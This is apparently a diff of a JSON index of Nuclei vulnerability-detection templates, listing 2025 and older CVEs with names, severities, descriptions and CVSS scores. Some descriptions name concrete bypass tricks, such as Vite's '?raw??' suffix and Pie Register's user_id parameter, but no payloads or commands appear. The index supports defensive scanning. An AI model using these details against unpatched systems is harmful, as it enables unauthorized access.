{"ID":"CVE-2025-30208","Info":{"Name":"Vite - Arbitrary File Read","Severity":"medium","Description":"Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-30208.yaml"}
|
||||
{"ID":"CVE-2025-30220","Info":{"Name":"GeoServer WFS - XXE Processing Vulnerability","Severity":"critical","Description":"GeoServer Web Feature Service (WFS) is vulnerable to an XML External Entity (XXE) processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band (OOB) data exfiltration and Server-Side Request Forgery (SSRF) by exploiting the GeoTools library.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-30220.yaml"}
|
||||
@@ -3108,11 +3120,14 @@
|
||||
{"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
|
||||
{"ID":"CVE-2025-32814","Info":{"Name":"NetMRI Unauthenticated SQL Injection via skipjackUsername","Severity":"critical","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32814.yaml"}
|
||||
{"ID":"CVE-2025-32815","Info":{"Name":"NetMRI \u003c 7.6.1 - Authentication Bypass via Hardcoded Credentials","Severity":"medium","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32815.yaml"}
|
||||
{"ID":"CVE-2025-32969","Info":{"Name":"XWiki REST API Query - SQL Injection","Severity":"critical","Description":"A SQL injection vulnerability exists in XWiki's REST API query endpoint. An unauthenticated attacker can execute arbitrary SQL queries through the 'q' parameter by manipulating the HQL query, potentially leading to data exfiltration or system compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-32969.yaml"}
|
||||
{"ID":"CVE-2025-32970","Info":{"Name":"XWiki WYSIWYG API - Open Redirect","Severity":"medium","Description":"A vulnerability in XWiki's WYSIWYG API allows an attacker to redirect users to arbitrary external URLs through the xerror parameter. This could be used in phishing attacks to redirect users to malicious websites.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-32970.yaml"}
|
||||
{"ID":"CVE-2025-34026","Info":{"Name":"Versa Concerto Actuator Endpoint - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34026.yaml"}
|
||||
{"ID":"CVE-2025-34027","Info":{"Name":"Versa Concerto API Path Based - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34027.yaml"}
|
||||
{"ID":"CVE-2025-34028","Info":{"Name":"Commvault - SSRF via /commandcenter/deployWebpackage.do","Severity":"critical","Description":"A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-34028.yaml"}
|
||||
{"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
|
||||
{"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
|
||||
{"ID":"CVE-2025-34035","Info":{"Name":"EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution","Severity":"critical","Description":"An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected commands are executed with root privileges, leading to full system compromise.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-34035.yaml"}
|
||||
{"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
|
||||
{"ID":"CVE-2025-34073","Info":{"Name":"Maltrail \u003c=0.54 Username Parameter - Remote Command Execution","Severity":"critical","Description":"Maltrail versions \u003c=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34073.yaml"}
|
||||
{"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
|
||||
@@ -3120,6 +3135,7 @@
|
||||
{"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
|
||||
{"ID":"CVE-2025-34143","Info":{"Name":"ETQ Reliance - Authentication Bypass via Trailing Space","Severity":"critical","Description":"An authentication bypass vulnerability exists in ETQ Reliance on the CG (legacy) platform. The application allowed login as the privileged internal SYSTEM user by manipulating the username field. The SYSTEM account does not require a password, enabling attackers with network access to the login page to obtain elevated access. Once authenticated, an attacker could achieve remote code execution by modifying Jython scripts within the application. This issue was resolved by introducing stricter validation logic to exclude internal accounts from public authentication workflows in version MP-4583.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34143.yaml"}
|
||||
{"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
|
||||
{"ID":"CVE-2025-34152","Info":{"Name":"Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter","Severity":"critical","Description":"An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34152.yaml"}
|
||||
{"ID":"CVE-2025-34300","Info":{"Name":"SawtoothSoftware Lighthouse Studio \u003c 9.16.14 - Pre-Auth Remote Code Execution","Severity":"critical","Description":"A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34300.yaml"}
|
||||
{"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
|
||||
{"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
|
||||
@@ -3137,6 +3153,8 @@
|
||||
{"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
|
||||
{"ID":"CVE-2025-45854","Info":{"Name":"JEHC-BPM - Remote Code Execute","Severity":"critical","Description":"A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM \u003c= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-45854.yaml"}
|
||||
{"ID":"CVE-2025-45985","Info":{"Name":"Blink Router - Command Injection","Severity":"critical","Description":"Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-45985.yaml"}
|
||||
{"ID":"CVE-2025-4632","Info":{"Name":"Samsung MagicINFO 9 Server - File Upload \u0026 Remote Code Execution","Severity":"critical","Description":"Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4632.yaml"}
|
||||
{"ID":"CVE-2025-46554","Info":{"Name":"XWiki REST API - Attachments Disclosure","Severity":"high","Description":"A vulnerability in XWiki's REST API allows unauthenticated users to access attachments list and metadata through the attachments endpoint. This could lead to disclosure of sensitive information stored in attachments metadata.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-46554.yaml"}
|
||||
{"ID":"CVE-2025-46822","Info":{"Name":"Java-springboot-codebase 1.1 - Arbitrary File Read","Severity":"high","Description":"OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-46822.yaml"}
|
||||
{"ID":"CVE-2025-47204","Info":{"Name":"Bootstrap Multiselect \u003c= 1.1.2 - Cross-Site Scripting","Severity":"medium","Description":"A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-47204.yaml"}
|
||||
{"ID":"CVE-2025-47423","Info":{"Name":"Personal Weather Station Dashboard 12 - Directory Traversal","Severity":"high","Description":"Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2025/CVE-2025-47423.yaml"}
|
||||
@@ -3153,17 +3171,24 @@
|
||||
{"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
|
||||
{"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
|
||||
{"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
|
||||
{"ID":"CVE-2025-51501","Info":{"Name":"Microweber CMS2.0 - Cross-Site Scripting","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51501.yaml"}
|
||||
{"ID":"CVE-2025-51502","Info":{"Name":"Microweber CMS 2.0 - Reflected XSS in Admin Page Creation","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51502.yaml"}
|
||||
{"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
|
||||
{"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
|
||||
{"ID":"CVE-2025-53364","Info":{"Name":"Parse Server - GraphQL Schema Information Disclosure","Severity":"medium","Description":"The Parse Server GraphQL API previously allowed public access to the GraphQL schema without requiring a session token or the master key. While schema introspection reveals only metadata and not actual data, this metadata can still expand the potential attack surface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53364.yaml"}
|
||||
{"ID":"CVE-2025-53558","Info":{"Name":"ZTE ZXHN-F660T/F660A - Default Credentials","Severity":"high","Description":"ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53558.yaml"}
|
||||
{"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
|
||||
{"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
|
||||
{"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
|
||||
{"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
|
||||
{"ID":"CVE-2025-54125","Info":{"Name":"XWiki XML View - Sensitive Information Exposure","Severity":"high","Description":"A vulnerability in XWiki's XML view functionality exposes sensitive information such as passwords and email addresses that are stored in custom fields not explicitly named as password or email. This information disclosure occurs when accessing user profiles with the xml.vm template.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-54125.yaml"}
|
||||
{"ID":"CVE-2025-54589","Info":{"Name":"Copyparty \u003c=1.18.6 - Cross-Site Scripting","Severity":"medium","Description":"Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-54589.yaml"}
|
||||
{"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
|
||||
{"ID":"CVE-2025-55169","Info":{"Name":"WeGIA - Directory Traversal","Severity":"critical","Description":"WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-55169.yaml"}
|
||||
{"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
|
||||
{"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
|
||||
{"ID":"CVE-2025-57788","Info":{"Name":"Commvault Unauthenticated Password Disclosure (WT-2025-0047)","Severity":"medium","Description":"An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-57788.yaml"}
|
||||
{"ID":"CVE-2025-57789","Info":{"Name":"Commvault Initial Administrator Login Process Vulnerability","Severity":"medium","Description":"An issue was discovered in Commvault before 11.36.60.During the brief window between installation and the first administrator login, remote attackers may exploit the default credential to gain admin control. This is limited to the setup phase, before any jobs have been configured.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-57789.yaml"}
|
||||
{"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
|
||||
{"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
|
||||
{"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
|
||||
@@ -3191,8 +3216,10 @@
|
||||
{"ID":"CVE-2022-31793","Info":{"Name":"muhttpd \u003c=1.1.5 - Local Inclusion","Severity":"high","Description":"muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2022/CVE-2022-31793.yaml"}
|
||||
{"ID":"CVE-2023-33246","Info":{"Name":"RocketMQ \u003c= 5.1.0 - Remote Code Execution","Severity":"critical","Description":"For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-33246.yaml"}
|
||||
{"ID":"CVE-2023-48788","Info":{"Name":"Fortinet Forticlient Endpoint Management Server - SQL Injection","Severity":"critical","Description":"A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-48788.yaml"}
|
||||
{"ID":"CVE-2025-25256","Info":{"Name":"Fortinet FortiSIEM - OS Command Injection","Severity":"critical","Description":"Fortinet FortiSIEM 6.7.9 \u003c version \u003c= 7.3.1 contains an OS command injection caused by improper neutralization of special elements in CLI requests, letting unauthenticated attackers execute unauthorized commands remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2025/CVE-2025-25256.yaml"}
|
||||
{"ID":"CVE-2012-2122","Info":{"Name":"MySQL - Authentication Bypass","Severity":"medium","Description":"sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.\n","Classification":{"CVSSScore":"5.1"}},"file_path":"javascript/cves/2012/CVE-2012-2122.yaml"}
|
||||
{"ID":"CVE-2016-8706","Info":{"Name":"Memcached Server SASL Authentication - Remote Code Execution","Severity":"high","Description":"An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"javascript/cves/2016/CVE-2016-8706.yaml"}
|
||||
{"ID":"CVE-2018-0171","Info":{"Name":"Cisco Smart Install - Configuration Download","Severity":"critical","Description":"Checks if TFTP service becomes available after Smart Install exploitation. This template should be run after the configuration extraction payload to verify that the device is now serving configuration files via TFTP.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2018/CVE-2018-0171.yaml"}
|
||||
{"ID":"CVE-2019-9193","Info":{"Name":"PostgreSQL 9.3-12.3 Authenticated Remote Code Execution","Severity":"high","Description":"In PostgreSQL 9.3 through 11.2, the \"COPY TO/FROM PROGRAM\" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2019/CVE-2019-9193.yaml"}
|
||||
